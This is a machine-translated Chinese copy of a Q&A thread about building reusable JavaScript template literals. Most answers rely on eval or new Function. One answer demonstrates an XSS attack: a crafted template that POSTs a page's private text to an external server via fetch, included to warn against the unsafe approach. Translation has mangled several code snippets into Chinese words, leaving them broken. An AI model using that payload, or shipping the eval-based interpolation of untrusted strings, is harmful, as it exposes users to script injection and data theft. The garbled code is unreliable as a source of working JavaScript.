tl;dr:有可能使一个可重用的模板文字吗?

我一直试图使用模板文字,但我想我只是不明白,现在我感到沮丧。我是说,我觉得我懂了,但"它"不应该是这样的,也不应该是这样的。情况应该有所不同。

我看到的所有示例(甚至是带标签的模板)都要求“替换”在声明时完成,而不是在运行时完成,这对模板来说似乎完全没有用。也许我疯了,但“模板”对我来说是一个包含标记的文档,这些标记在你使用它时被替换,而不是在你创建它时,否则它只是一个文档(即字符串)。模板存储与令牌作为令牌&这些令牌评估时,你…评估它。

每个人都举了一个可怕的例子:

var a = 'asd';
return `Worthless ${a}!`

这很好,但如果我已经知道a,我只会返回'一文不值asd'或返回'一文不值'+a。有什么意义?认真对待。好吧,重点是懒惰;加号少,可读性强。太好了。但这不是模板!恕我直言。MHO才是最重要的!问题,恕我直言,是模板在声明时被求值,所以,如果你这样做,恕我直言:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

由于没有声明expletive,它输出类似于My undefined template的内容。超级。实际上,至少在Chrome中,我甚至不能声明模板;它抛出一个错误,因为没有定义咒骂。我需要的是能够在声明模板后进行替换:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

然而,我不明白这是怎么可能的,因为这些都不是真正的模板。即使你说我应该使用标签,不,它们不起作用:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

这一切都让我相信模板文字的名字是可怕的错误,应该被称为他们真正的名字:heredocs。我猜“字面”部分应该提示我(在,不可变)?

我遗漏了什么吗?是否有一种(好的)方法来创建一个可重用的模板文字?


我给你,可重用的模板文字

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

这里是一个简单的“helper”函数…

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...让它“更好”。

我倾向于称它们为模板肠,因为它们产生扭曲感觉的区域。


当前回答

简化@metamorphasi提供的答案;

const fillTemplate = function(templateString, templateVars){ var func = new函数(…Object.keys(templateVars), "return ' "+templateString +" ';") 返回func(…Object.values (templateVars)); } / /样本 var hosting = "overview/id/d:${id}"; var domain = {Id:1234,用户:22}; var result = fillTemplate(主机,域); console.log(结果);

其他回答

这是我最好的尝试:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

generalify:

var s = (<variable names you want>) => {return `<template with those variables>`}

如果你没有运行E6,你也可以这样做:

var s = function(<variable names you want>){return `<template with those variables>`}

这似乎比前面的回答更简洁一些。

https://repl.it/@abalter/reusable-JS-template-literal

你可以像这样使用内联箭头函数, 定义:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

用法:

console.log(template('my replaced string'));

const fillTemplate =(模板,值)=> { 模板= template.replace (/(?<=\${)\ w + (? =}) / g, v = >“。”+ v); 返回功能。应用(这个,””、“返回”模板“+ +”;“])打电话给(值); }; console.log(fillTemplate("The man ${man}是${brother}的兄弟",{man: "John",兄弟:"Peter"})); //约翰是彼得的兄弟

是的,你可以通过解析你的字符串模板作为JS函数(或eval) -但这是不建议的,允许XSS攻击

// unsafe string-template function const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } function parseString() { // Example malicious string which will 'hack' fillTemplate function var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`"; var templateData = {Id:1234, User:22}; var result = fillTemplate(evilTemplate, templateData); console.log(result); alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`); } #mydiv { background: red; margin: 20px} .btn { margin: 20px; padding: 20px; } <pre> CASE: system allow users to use 'templates' and use fillTemplate function to put variables into that templates Then backend save templates in DB and show them to other users... Some bad user/hacker can then prepare malicious template with JS code... and when other logged users "see" that malicious template (e.g. by "Click me!" in this example), then it can read some information from their current page with private content and send it to external server. Or in worst case, that malicious template can send some authorized "action" request to the backend... (like e.g. action which delete some user content or change his name etc.). In case when logged user was Admin then action can be even more devastating (like delete user etc.) </pre> <div id='mydiv'> Private content of some user </div> <div id="msg"></div> <button class="btn" onclick="parseString()">Click me! :)</button>

相反,你可以安全地以如下方式动态地将对象obj字段插入模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

让注入= (str, obj) = > str.replace (/\${(.*?)}/ g (x, g) = > obj [g]); //——test—— //对象中的参数 let t1 = '我的名字是${name},我是${age}。我哥哥的名字也是${name}.'; let r1 = inject(t1, {name: 'JOHN',年龄:23}); console.log(“对象:r1); //数组中的参数 let t2 = " ${0}的值在${2}数组中,${1}的值为${0}。" let r2 = inject(t2, ['A,B,C', 666, 'BIG']); console.log("ARRAY:", r2);

我对输入这个需要额外的冗余感到恼火。所以我还添加了regex来将。a这样的变量展开为这个。a。

解决方案:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

这样使用:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!